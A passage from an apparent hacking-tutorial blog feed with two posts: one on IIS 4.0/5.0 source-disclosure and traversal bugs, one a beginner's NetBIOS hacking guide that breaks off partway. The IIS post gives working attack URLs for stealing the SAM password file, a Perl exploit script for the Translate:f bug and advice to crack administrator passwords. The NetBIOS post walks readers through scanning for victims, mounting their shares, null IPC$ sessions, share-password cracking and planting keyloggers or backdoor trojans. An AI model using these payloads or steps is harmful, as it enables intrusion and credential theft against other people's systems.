/&gt;exercise; however, the viewer does not restrict what files can be accessed. &lt;br /&gt;A remote attacker can exploit this vulnerability to &lt;br /&gt;view the contents of any file on the victim's server. However, there are &lt;br /&gt;several issues to be aware of: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Codebrws.asp and showcode.asp are not installed by default. &lt;br /&gt;2. The vulnerability only allows for viewing of files. &lt;br /&gt;3. The vulnerability does not bypass WindowsNT Access Control Lists &lt;br /&gt;(ACLs). &lt;br /&gt;4. Only files in the same disk partition can be viewed. &lt;br /&gt;5. Attackers must know the location of the requested file. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lets say you wanna see the code of codebrws.asp request the following from &lt;br /&gt;the from your favorite web browser, &lt;br /&gt;http://www.victim.com/iisamples/exair/howitworks/codebrws.asp?source=/ &lt;br /&gt;iisamples/exair/howitworks/codebrws.asp &lt;br /&gt;then you will see the source code of codebrws.asp &lt;br /&gt;For using showcode.asp, do the following again from your infamous browser &lt;br /&gt;http://www.victim.com/msadc/samples/selector/showcode.asp?source=/msadc/../../../../../winnt/repair/sam._ &lt;br /&gt;There you go, you get the infamous sam._ file, copy it, expand it and crack &lt;br /&gt;it using Lophtcrack, my personal choise, and you will get all user passwords &lt;br /&gt;even the administrator one. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=========Null.htw=============== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Microsoft IIS running with Index Server contains a vulnerability &lt;br /&gt;through Null.htw even if no .htw files exist on the server. Thevulnerability &lt;br /&gt;displays the source code of an ASP page or otherrequested file. The ability &lt;br /&gt;to view ASP pages could provide sensitive information such as usernames and &lt;br /&gt;passwords. An attacker providing IIS with a malformed URL request could &lt;br /&gt;escape the virtual directory, providing access to the logical drive and root &lt;br /&gt;directory. The "hit-highlighting" function in the Index Server does not &lt;br /&gt;adequately restrain what types of files may be requested, allowing an &lt;br /&gt;attacker to &lt;br /&gt;request any file on the server. Microsoft has released a patch for Windows &lt;br /&gt;2000 addressing this vulnerability. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Null.htw function has 3 variables which gets their inputs from the user. &lt;br /&gt;These variables are as follows &lt;br /&gt;CiWebhitsfile &lt;br /&gt;CiRestriction &lt;br /&gt;CiHiliteType &lt;br /&gt;Respectively. &lt;br /&gt;Say that, we wanna see the source code of default.asp, the type the &lt;br /&gt;following from your favorite browser &lt;br /&gt;http://www.victim.com/null.htw?CiWebhitsfile=/default.asp%20&amp;%20CiRestriction=none%20&amp;%20&amp;CiHiliteType=full &lt;br /&gt;and you will get the source of default.asp file. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;========webhits.dll &amp; .htw================ &lt;br /&gt;The hit-highligting functionality provided by Index Server allows a web &lt;br /&gt;user to have a document with their original search terms highlighted on the &lt;br /&gt;page. The name of the document is passed to .htw file with the CiWebhitsfile &lt;br /&gt;argument. Webhits.dll, the ISAPI Application that deals with the request, &lt;br /&gt;opens the file highlights accordingly and returns the resulting page. As the &lt;br /&gt;user has control of the CiWebhitsfile argument passed to the .htw file they &lt;br /&gt;can request anything they want. And the real problem is that, they can view &lt;br /&gt;the source of ASP and other scripted pages. &lt;br /&gt;To unserstand you are vulnerable, request the following from the site &lt;br /&gt;http://www.victim.com/nosuchfile.htw &lt;br /&gt;if you get the following from the server &lt;br /&gt;format of the QUERY_STRING is invalid &lt;br /&gt;it means that you are vulnerable. &lt;br /&gt;The problem is because of webhits.dll (an ISAPI Application) associated to &lt;br /&gt;.htw files. You can find the .htw files in the following locations of &lt;br /&gt;infamous IIS web server, &lt;br /&gt;/iissamples/issamples/oop/qfullhit.htw &lt;br /&gt;/iissamples/issamples/oop/qsumrhit.htw &lt;br /&gt;/isssamples/exair/search/qfullhit.htw &lt;br /&gt;/isssamples/exair/search/qsumrhit.htw &lt;br /&gt;/isshelp/iss/misc/iirturnh.htw (this is normally for loopback) &lt;br /&gt;An attacker, for instance view the contents of sam._ file as follows &lt;br /&gt;http://www.victim.com/iissamples/issamples/oop/qfullhit.htw?ciwebhitsfile=/../../winnt/repair/sam._&amp;cirestriction=none&amp;cihilitetype=full &lt;br /&gt;will reveal the contents of sam._ file, which is binary, you should copy &lt;br /&gt;it, expand it and crack it as i explained several times before. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===ASP Alternate Data Streams(::$DATA)================== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The $DATA vulnerability, published in mid-1998, results from an error &lt;br /&gt;in the way the Internet Information Server parses file names. $DATA is an &lt;br /&gt;attribute of the main data stream (which holds the "primary content") stored &lt;br /&gt;within a file on NT File System (NTFS). By creating a specially constructed &lt;br /&gt;URL, it is possible to use IIS to access this data stream from a browser. &lt;br /&gt;Doing so will display the code of the file &lt;br /&gt;containing that data stream and any data that file holds. This method can be &lt;br /&gt;used to display a script-mapped file that can normally be acted upon only by &lt;br /&gt;a particular Application Mapping. The contents of these files are not &lt;br /&gt;ordinarily available to users. However, in order to display the file, the &lt;br /&gt;file must reside on the NTFS partition and must &lt;br /&gt;have ACLs set to allow at least read access; the unauthorized user must also &lt;br /&gt;know the file name. Microsoft Windows NT Server's IIS versions 1.0, 2.0, 3.0 &lt;br /&gt;and 4.0 are affected by this vulnerability. &lt;br /&gt;Microsoft has produced a hotfix for IIS versions 3.0 and 4.0. The fix &lt;br /&gt;involves IIS "supporting NTFS alternate data streams by asking Windows &lt;br /&gt;NT to make the file name canonical" according the Microsoft. &lt;br /&gt;To view or get the source of an .asp code, type the following from your &lt;br /&gt;browser &lt;br /&gt;http://www.victim.com/default.asp::$DATA &lt;br /&gt;and you will get the source code. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=========ASP Dot Bug==================== &lt;br /&gt;The famous Lopht group has discovered the ASP dot bug in 1997. The &lt;br /&gt;vulnerability involved being able to reveal ASP source code to attackers. By &lt;br /&gt;appending one or more dots to the end of an ASP URL under IIS 3.0, it was &lt;br /&gt;possible to view the ASP source code. &lt;br /&gt;The exploit worked by appending a dot the end of an ASP as follows &lt;br /&gt;http://www.victim.com/sample.asp. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;======ISM.DLL Buffer Truncation=============== &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This bug was found by Cerberus Information Security team. It runs on IIS &lt;br /&gt;4.0 and 5.0. that allows attackers to view the content of files and source &lt;br /&gt;code of scripts. &lt;br /&gt;By making a specially formed request to IIS, with the name of the file and &lt;br /&gt;then appending around 230 + “ %20 “ (these represents spaces) and then &lt;br /&gt;appending “ .htr ” this tricks IIS into thinking that the client is &lt;br /&gt;requesting a “ .htr “ file . The .htr file extension is mapped to the &lt;br /&gt;ISM.DLL ISAPI Application and IIS redirects all requests for .htr rsources &lt;br /&gt;to this DLL. &lt;br /&gt;ISM.DLL is then passed the name of the file to open and execute but before &lt;br /&gt;doing this ISM.DLL truncates the buffer sent to it chopping off the .htr and &lt;br /&gt;a few spaces and ends up opening the file we want to get source of. The &lt;br /&gt;contents are then returned. &lt;br /&gt;This attack can only be launched once though., unless the web service &lt;br /&gt;started and stopped. It will only work when ISM.DLL first loaded into &lt;br /&gt;memory. &lt;br /&gt;An attacker can view the source of global.asa, for instance, as follows &lt;br /&gt;http://www.victim.com/global.asa%20%20(...&lt;=230)global.asa.htr &lt;br /&gt;will reveal the source of global.asa &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;==========.idc &amp; .ida Bugs======================= &lt;br /&gt;This exploit, actually, similar to ASP dot bug, however this time we get &lt;br /&gt;the path of web directory on IIS 4.0. I have even seen this bug working on &lt;br /&gt;IIS 5.0 on my pen-tests. By adding an “.idc” or “.ida” extension to the end &lt;br /&gt;of URL will cause IIS installations to try to run the so-called .IDC through &lt;br /&gt;the database connector .DLL. If the .idc doesnt exists, than it will return &lt;br /&gt;rather informative about the server. &lt;br /&gt;http://www.victim.com/anything.idc or anything.idq &lt;br /&gt;you will get the path. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;============+.htr Bug=========================== &lt;br /&gt;This exploit is also ever so similar to dot asp bug and you can get the &lt;br /&gt;source code of ASA and ASP files by appending a +.htr to the URL of asp and &lt;br /&gt;asa files. &lt;br /&gt;http://www.victim.com/global.asa+.htr &lt;br /&gt;you may get the source code to browse &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;===========NT Site Server Adsamples Vulnerability ====== &lt;br /&gt;By requesting site.csc, which is normally located in &lt;br /&gt;/adsamples/config/site.csc, &lt;br /&gt;The attacker may be able to retrieve the DSN, UID and PASS of the database &lt;br /&gt;as this file may contain them. &lt;br /&gt;By typing the following &lt;br /&gt;http://www.victim.com/adsamples/config/site.csc &lt;br /&gt;the attacker will download the file site.csc and (s)he can get some &lt;br /&gt;important data. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;==========Password Attack to User Accounts=========== &lt;br /&gt;IIS 4.0 has an interesting feature that can allow a remote attacker to &lt;br /&gt;attack user accoounts local to the web server as well as other machines &lt;br /&gt;across to the internet. Added to this if your Web server is behind a &lt;br /&gt;firewall performing NAT (network address translation), machines on inside &lt;br /&gt;could be attacked as well. &lt;br /&gt;By default every install of IIS 4.0 creates a virtual directory “ &lt;br /&gt;/iisadmpwd “. This directory contains a number of .htr files. Anonymous &lt;br /&gt;users are allowed to access this files, they are not restricted to loopback &lt;br /&gt;address(127.0.0.1). The following is a list of files found in the .iisadmpwd &lt;br /&gt;directory, which physically maps to c:\winnt\system32\inetsrv\iisadmpwd &lt;br /&gt;Achg.htr &lt;br /&gt;Aexp.htr &lt;br /&gt;Aexp2.htr &lt;br /&gt;Aexp2b.htr &lt;br /&gt;Aexp3.htr &lt;br /&gt;Aexp4.htr &lt;br /&gt;Aexp4b.htr &lt;br /&gt;Anot.htr &lt;br /&gt;Anot3.htr &lt;br /&gt;This files are pretty much of the same variants of the same file and allow &lt;br /&gt;a user to change their password via web. It can also be used to enumerate &lt;br /&gt;valid accounts through guess work. &lt;br /&gt;If the user account does not exist, a message will be returned saying &lt;br /&gt;“invalid domain”. &lt;br /&gt;If the account exists, but the password is wrong then the message will say &lt;br /&gt;so. &lt;br /&gt;If an IP address followed by a backslash precedes the account name then the &lt;br /&gt;IIS server will contact the remote machine, over the NetBIOS session port &lt;br /&gt;139, and attempt to change to user’s password. (x.x.x.x\ACCOUNTNAME) &lt;br /&gt;Therefore, if you do not need this service, remove the /iisadmpwd &lt;br /&gt;directory. This will prevent attackers. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=============Translate:f Bug ==================== &lt;br /&gt;Daniel Docekal brought this issue in BugTraq this summer, August 15, 2000. &lt;br /&gt;(www.securityfocus.com/bid/1578) The actual problem is with the WebDAV &lt;br /&gt;implementation in office 2000 and FrontPage 2000 Server Extensions. &lt;br /&gt;When someone makes a request for ASP/ASA or anyother scriptable page and &lt;br /&gt;adds “translate:f “ into headers of HTTP GET (headers are not part of URL, &lt;br /&gt;part of HTTP request), then they are come up with complete ASP/ASA source &lt;br /&gt;code on Win2K SP1 not installed. &lt;br /&gt;Translate:F is a legitimate header for WebDAV and is used in WebDAV &lt;br /&gt;compatible client and in FP2000 to get the file for editing. &lt;br /&gt;Simple adding of “translate:f” and placing “/” at the end of request to HTTP &lt;br /&gt;GET will lead in security bug. &lt;br /&gt;It is a Win2K bug, but due to FP2000 installed IIS4.00, it is also a IIS4.0 &lt;br /&gt;bug. &lt;br /&gt;You can use the following perl script to use this exploit. &lt;br /&gt;############################# &lt;br /&gt;use IO::Socket; # &lt;br /&gt;my ($port, $sock,$server); # &lt;br /&gt;$size=0; # &lt;br /&gt;############################# &lt;br /&gt;# &lt;br /&gt;$server="$ARGV[0]"; &lt;br /&gt;$s="$server"; &lt;br /&gt;$port="80"; &lt;br /&gt;$cm="$ARGV[1]"; &lt;br /&gt;&amp;connect; &lt;br /&gt;sub connect { &lt;br /&gt;if ($#ARGV &lt; 1) { &lt;br /&gt;howto(); &lt;br /&gt;exit; &lt;br /&gt;} &lt;br /&gt;$ver="GET /$cm%5C HTTP/1.0 &lt;br /&gt;Host: $server &lt;br /&gt;Accept: */* &lt;br /&gt;Translate: f &lt;br /&gt;\n\n"; &lt;br /&gt;my($iaddr,$paddr,$proto); &lt;br /&gt;$iaddr = inet_aton($server) || die "Error: $!"; &lt;br /&gt;$paddr = sockaddr_in($port, $iaddr) || die "Error: $!"; &lt;br /&gt;$proto = getprotobyname('tcp') || die "Error: $!"; &lt;br /&gt;socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error: &lt;br /&gt;$!"; &lt;br /&gt;connect(SOCK, $paddr) || die "Error: $!"; &lt;br /&gt;send(SOCK, $ver, 0) || die "Can't to send packet: $!"; &lt;br /&gt;open(OUT, "&gt;$server.txt"); &lt;br /&gt;print "Dumping $cm to $server.txt \n"; &lt;br /&gt;while(&lt;SOCK&gt;) { &lt;br /&gt;print OUT &lt;SOCK&gt;; &lt;br /&gt;} &lt;br /&gt;sub howto { &lt;br /&gt;print "type as follows: Trans.pl www.victim.com codetoview.asp \n\n"; &lt;br /&gt;} &lt;br /&gt;close OUT; &lt;br /&gt;$n=0; &lt;br /&gt;$type=2; &lt;br /&gt;close(SOCK); &lt;br /&gt;exit(1); &lt;br /&gt;} &lt;br /&gt;If we call the script as translate.pl then we can get a ASA/ASP source code &lt;br /&gt;as follows &lt;br /&gt;Trasn.pl www.victim.com codetoview.asp &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And there you go, you get the source code of codeview.asp. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;04- Conclusion &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;All the information i have given you has been widely used in wild. However &lt;br /&gt;what i tried to do was just to collect all these information together as to &lt;br /&gt;check the security of our famous IIS 4.0 and 5.0. Wheneveri encounter a IIS &lt;br /&gt;web server during my pen-tests, i do check for these vulnerabilities and &lt;br /&gt;most of the time one of these works. &lt;br /&gt;I hope that, what i written was helped you in some way. Thanks for reading &lt;br /&gt;it, please continue to support me as i continue to release this sortta &lt;br /&gt;papers. If you wanna learn more, please check the mentioned people’s web &lt;br /&gt;sites for more details and you can even write to me. &lt;br /&gt;Peace in mind &lt;br /&gt;Watch your servers in wild&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-6759228808617507709?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/6759228808617507709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=6759228808617507709' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6759228808617507709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/6759228808617507709'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/hacking-iis-tutorial.html' title='Hacking iis tutorial'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-2042527636790514870</id><published>2007-12-02T01:15:00.001-08:00</published><updated>2007-12-02T01:15:58.257-08:00</updated><title type='text'>Net bios hacking</title><content type='html'>Decided to put this here instead of windows because it really is for beginners.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;                                                        NETBIOS BASED HACKING TUTORIAL   BY GAURAV KUMAR &lt;br /&gt;&lt;br /&gt;                                                                                &lt;br /&gt;       gkverma@msn.com&lt;br /&gt;&lt;br /&gt;Preface &lt;br /&gt;&lt;br /&gt;Dear reader I have written this tutorial keeping in mind that readers having only the basic knowledge will also be able to know how hackers hack using NetBIOS. Using NetBIOS for hacking is the probably the easiest way to hack remotely. I strongly  oppose hacking but not ethical hacking. An ethical hacker is one that hacks computer networks not for anti social reasons but to let the network administrators know about the security holes so that they can prevent their computers from hacking. If you want to contact me please send me a mail to gaurav@sec33.com &lt;br /&gt;&lt;br /&gt;Contents- &lt;br /&gt;&lt;br /&gt;A brief  lesson on NetBIOS &lt;br /&gt;&lt;br /&gt;The NBTSTAT command &lt;br /&gt;&lt;br /&gt;What you need to hack ? &lt;br /&gt;&lt;br /&gt;Types of attacks &lt;br /&gt;&lt;br /&gt;Searching for a victim &lt;br /&gt;&lt;br /&gt;Lets Hack - Part 1 Remotely reading/writing to a victim's computer &lt;br /&gt;&lt;br /&gt;Cracking  "Share "passwords &lt;br /&gt;&lt;br /&gt;Using IPC$ to hack Windows NT &lt;br /&gt;&lt;br /&gt;Penetrating in to the victim's computer &lt;br /&gt;&lt;br /&gt;Lets Hack - Part 2 Denial of service attack &lt;br /&gt;&lt;br /&gt;How to protect yourself &lt;br /&gt;&lt;br /&gt; _______________________________________________________________________________&lt;br /&gt;______________________________ &lt;br /&gt;&lt;br /&gt;A BRIEF LESSON ON NETBIOS &lt;br /&gt;&lt;br /&gt;NetBIOS stands for Network Basic Input Output System  .It was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. If you have experience of working on a LAN using Microsoft Windows Operating Systems (like Windows98 , Windows Me, Windows NT etc), you must have clicked on "Network Neighborhood" to access the computers attached to your network. After clicking on the icon you would have seen the names of the computer . Do you know what exactly happens when you click on Network Neighborhood? Your computer tries to get the names of the computers attached to the network with by issuing command to NetBIOS . NetBIOS gives the name of the computers that have been registered . In short NetBIOS gives the various information of the computers on a network . These Include- &lt;br /&gt;&lt;br /&gt;Name of the computer &lt;br /&gt;&lt;br /&gt;Username &lt;br /&gt;&lt;br /&gt;Domain &lt;br /&gt;&lt;br /&gt;Computer Name &lt;br /&gt;&lt;br /&gt;and many others. &lt;br /&gt;&lt;br /&gt;Like any other service it also works on a port . It  has been assigned a port number 139. &lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;______________________________ &lt;br /&gt;&lt;br /&gt;THE NBTSTAT COMMAND &lt;br /&gt;&lt;br /&gt;You can manually interact with the NetBIOS with the help of NBTSTAT command. To use this command click on the start button then select RUN... and type "command" without quotes to launch MS-DOS Command Prompt. Alternatively you may click on Start Button then go to Programs and then select Command Prompt. Once you are in Command Prompt you can exit by typing command EXIT . To launch Command Prompt in full screen mode press ALT+ENTER key combination .To get back to the original window again press ALT+ENTER key combination. If you have launched the command prompt you will get &lt;br /&gt;&lt;br /&gt;c:\windows&gt; &lt;br /&gt;&lt;br /&gt;If you do not get windows displayed after c:\ don't worry just keep going , all required commands will work fine. &lt;br /&gt;&lt;br /&gt;Now lets play with the NBTSTAT command. &lt;br /&gt;&lt;br /&gt;If you want to get more help from MS-DOS about this command type NBTSTAT/? on the prompt i.e. &lt;br /&gt;&lt;br /&gt;c:\windows&gt;nbtstat/? &lt;br /&gt;&lt;br /&gt;If you want to get the NetBIOS information of your computer type the following command &lt;br /&gt;&lt;br /&gt;c:\windows&gt;nbtstat -a 127.0.0.1 &lt;br /&gt;&lt;br /&gt;This command will list the NetBIOS information. A typical  example &lt;br /&gt;&lt;br /&gt;                                    NetBIOS Remote Machine Name Table &lt;br /&gt;&lt;br /&gt;Name                            Number             Type                 Usage &lt;br /&gt;&lt;br /&gt;========================================================================== &lt;br /&gt;&lt;br /&gt;workgroup                      00                     G                      Domain Name &lt;br /&gt;&lt;br /&gt;my_computer                 03                     U                      Messenger Service &lt;br /&gt;&lt;br /&gt;myusername                  03                     U                      Messenger Service &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;MAC Address = 00-02-44-14-23-E6 &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Please note that we have used our ip address to be 127.0.0.1 . This ip address is called as "Loop Back" ip address because this ip address always refers to the computer you are using. &lt;br /&gt;&lt;br /&gt;This example is self explanatory . We need not go in details. We need to know about the Name and Number. The Name displays the Name of the NetBIOS and there is a corresponding hexagonal number . You may see some additional names in your case. &lt;br /&gt;&lt;br /&gt;If you want to get the NetBIOS names of a remote computer, the command is &lt;br /&gt;&lt;br /&gt;c:\windows&gt;nbtstat -a ipaddress &lt;br /&gt;&lt;br /&gt;Example - To get the NetBIOS names of a computer having ip address 203.195.136.156, we shall use the command &lt;br /&gt;&lt;br /&gt;NOTE-203.195.136.156 may be a active ip address of someone's computer. I am using it only as an example. Please don't hack this computer. &lt;br /&gt;&lt;br /&gt;c:\windows&gt;nbtstat -a 203.195.136.156 &lt;br /&gt;&lt;br /&gt;If you want to get to know more about  the ip address and ports click here &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;____ &lt;br /&gt;&lt;br /&gt;WHAT YOU NEED TO HACK &lt;br /&gt;&lt;br /&gt;All you need is a Windows based operating system like Windows 98 and Me (but I prefer Windows NT, 2000, XP) and an internet connection. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;____________________________ &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;TYPES OF ATTACKS &lt;br /&gt;&lt;br /&gt;We can launch two types of attack on the remote computer having  NetBIOS. &lt;br /&gt;&lt;br /&gt;1. Reading/Writing to a remote computer system &lt;br /&gt;&lt;br /&gt;2. Denial of Service &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;_____________________________ &lt;br /&gt;&lt;br /&gt;Searching for a victim &lt;br /&gt;&lt;br /&gt;You may manually search for the victims by first using the nbtstat -a ipaddress and then net view \\ipaddress . If at first you don't succeed step to next ip address until you find a suitable ip address. You may also use a port scanner .A port scanner is simply a software that can search for any block of ip address say 192.168.0.1 to 192.168.0.255 for one or more ports.  "Orge" is a port scanner that  gives NetBIOS names of the remote computer. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;____________________________ &lt;br /&gt;&lt;br /&gt;Lets Hack -Part 1 Remotely reading/writing to a victim's computer &lt;br /&gt;&lt;br /&gt;Believe it or not but NetBIOS is the easiest method to break into somebody's computer. However there is a condition that must be satisfied before you can hack. The condition is that the victim must have enabled File And Printer Sharing on his computer. If the victim has enabled it , the nbtstat command will display one more NetBIOS name. Now lets us take a example. Suppose you know a ip address that has enabled File And Printer Sharing and let suppose the ip address happens to be 203.195.136.156 . &lt;br /&gt;&lt;br /&gt;If you would like to know more about  ip address click here . If you don't the ip address where File and Printer  Sharing is enabled read "Searching for a victim" &lt;br /&gt;&lt;br /&gt;The command that you will use to view the NetBIOS name is &lt;br /&gt;&lt;br /&gt;c:\windows&gt;nbtstat -a 203.195.136.156 &lt;br /&gt;&lt;br /&gt;Let suppose that the output comes out to be &lt;br /&gt;&lt;br /&gt;         NetBIOS Remote Machine Name Table &lt;br /&gt;&lt;br /&gt;Name                        Type             Status &lt;br /&gt;------------------------------------------------------------------------------------------------- &lt;br /&gt;user            &lt;00&gt;     UNIQUE       Registered &lt;br /&gt;workgroup  &lt;00&gt;    GROUP        Registered &lt;br /&gt;user            &lt;03&gt;     UNIQUE       Registered &lt;br /&gt;user            &lt;20&gt;     UNIQUE       Registered &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;MAC Address = 00-02-44-14-23-E6 &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;The number &lt;20&gt; shows that the victim has enabled the File And Printer Sharing. &lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------------------------------------------------------------------------------------------- &lt;br /&gt;&lt;br /&gt;NOTE - If you do not get this number there are two possibilities &lt;br /&gt;&lt;br /&gt;1.  You do not get the number &lt;20&gt; . This shows that the victim has not enabled the File And Printer Sharing . &lt;br /&gt;&lt;br /&gt;2.  You get "Host Not found" . This shows that the port 139 is closed or the ip address doesn't exists. &lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------------------------------- &lt;br /&gt;&lt;br /&gt;Now our next step would be to view the drive or folders  the victim is sharing. &lt;br /&gt;&lt;br /&gt;We will use command &lt;br /&gt;&lt;br /&gt;c:\windows&gt;net view \\203.195.136.156 &lt;br /&gt;&lt;br /&gt;Let suppose we get the following output &lt;br /&gt;&lt;br /&gt;Shared resources at \\203.195.136.156 &lt;br /&gt;ComputerNameGoesHere &lt;br /&gt;&lt;br /&gt;Share  name                Type           Used as           Comment &lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------------------------------------- &lt;br /&gt;CDISK                            Disk &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;The command completed successfully. &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt; "DISK" shows that the victim is sharing a Disk named as CDISK . You may also get some additional information like &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Shared resources at \\203.195.136.156 &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;ComputerNameGoesHere &lt;br /&gt;&lt;br /&gt; Share  name                Type           Used as           Comment &lt;br /&gt;&lt;br /&gt; ----------------------------------------------------------------------------------------------- &lt;br /&gt;HP-6L                             Print &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;"Print " shows that the victim is sharing a printer named as HP-6L &lt;br /&gt;&lt;br /&gt; If we are able to share the victims hard disks or folders or printers we will be able to read write to the folders or hard disks or we may also be able to print anything on a remote printer ! Now let us share the victims computer's hard disk or printer. &lt;br /&gt;&lt;br /&gt;Till now we know that there is a computer whose ip address happens to be 203.195.136.156 and on that computer File and printer sharing is enabled and the victim's hard disk 's name is CDISK. &lt;br /&gt;&lt;br /&gt;Now we will connect our computer to that hard disk . After we have connected successfully a drive will be created on our computer and on double clicking on it we will be able to view the contents of the drive. If we have connected our newly formed drive to the victim's share name CDISK it means that we our drive will have the same contents as that of the CDISK . &lt;br /&gt;&lt;br /&gt;Lets do it. &lt;br /&gt;&lt;br /&gt;We will use the NET command to do our work . &lt;br /&gt;&lt;br /&gt;Let suppose we want to make a drive k: on our computer and connect it to victim's share we will issue the command &lt;br /&gt;&lt;br /&gt;c:\windows&gt;net use k: \\203.195.136.156\CDISK &lt;br /&gt;&lt;br /&gt;You may replace k letter by any other letter. &lt;br /&gt;&lt;br /&gt;If the command is successful we will get the confirmation - The command was completed successfullly &lt;br /&gt;&lt;br /&gt;The command was completed successfully &lt;br /&gt;&lt;br /&gt;Now just double click on the My Computer icon on your desktop and you will be a happy hacker! &lt;br /&gt;&lt;br /&gt;We have just crested a new drive k: . Just double click on it and you will find that you are able to access the remote computer's hard disk. Enjoy your first hack! &lt;br /&gt;&lt;br /&gt;GO TO CONTENTS &lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;_____________________________ &lt;br /&gt;&lt;br /&gt;Cracking  Share passwords &lt;br /&gt;&lt;br /&gt;Sometimes when we use "net use k: \\ipaddress\sharename" we are asked for a password. There is a password cracker "PQWAK" . All you have to enter ip address and the share name and it will decrypt the password within seconds. Please note that this can crack only the passwords is the remote operating system is running on - &lt;br /&gt;&lt;br /&gt;Windows 95 &lt;br /&gt;&lt;br /&gt;Windows 98 &lt;br /&gt;&lt;br /&gt;Windows Me &lt;br /&gt;&lt;br /&gt;GO TO CONTENTS &lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;______________________________ &lt;br /&gt;&lt;br /&gt;Using IPC$ to hack Windows NT,2000,XP &lt;br /&gt;&lt;br /&gt;Now you must be thinking of something that can crack share passwords on  NT based operating systems like Windows NT and Windows 2000. &lt;br /&gt;&lt;br /&gt;IPC$ is there to help us. It is not at all a password cracker . It is simply a string that tells the remote operating system to give guest access that is give access without asking for password. &lt;br /&gt;&lt;br /&gt;We hackers use IPC$ in this way &lt;br /&gt;&lt;br /&gt;c:\windows&gt;net use k:  \\123.123.123.123\ipc$ "" /user:"" &lt;br /&gt;&lt;br /&gt;You may replace k letter by any other letter. If you replace it by "b" (type without quotes) a new drive will be created by a drive letter b. &lt;br /&gt;&lt;br /&gt;Please note that you won't be able to get access to victim's shared drives but you you can gather valuable information like names of all the usernames, users that have never logged, and other such information. One such tool that uses the ipc$ method is "Internet Periscope". Another tool is "enum" - its my favorite toot however it is run on command promt. &lt;br /&gt;&lt;br /&gt;GO TO CONTENTS &lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;______________________________ &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;Penetrating in to the victim's computer &lt;br /&gt;&lt;br /&gt;Now that you have access to a remote computer you may be interested in viewing  his secret emails, download hismp3 songs , and more... &lt;br /&gt;&lt;br /&gt;But if you think like  a hard core hacker you would like to play some dirty tricks like you may wish to install a key logger or  install a back door entry Trojan like netbus and backorifice or delete or copy some files. All these tasks involves writing to victim's hard disk . For this you need to have write access  permission. &lt;br /&gt;&lt;br /&gt;GO TO CONTENTS &lt;br /&gt;&lt;br /&gt;________________________________________________________________________________&lt;br /&gt;_____________________________ &lt;br /&gt;&lt;br /&gt;Lets Hack - Part 2 Denial of service attack &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;This type of attacks are meant to be launched by some computer techies because this type of attack involves using Linux Operating System and compiling C language files. To exploit these vulnerabilities you have to copy exploit code from sites like neworder,securityfocus etc and comiple them. &lt;br /&gt;&lt;br /&gt;The two most common vulnerabilities found in NetBIOS are &lt;br /&gt;&lt;br /&gt;Vulnerability 1 &lt;br 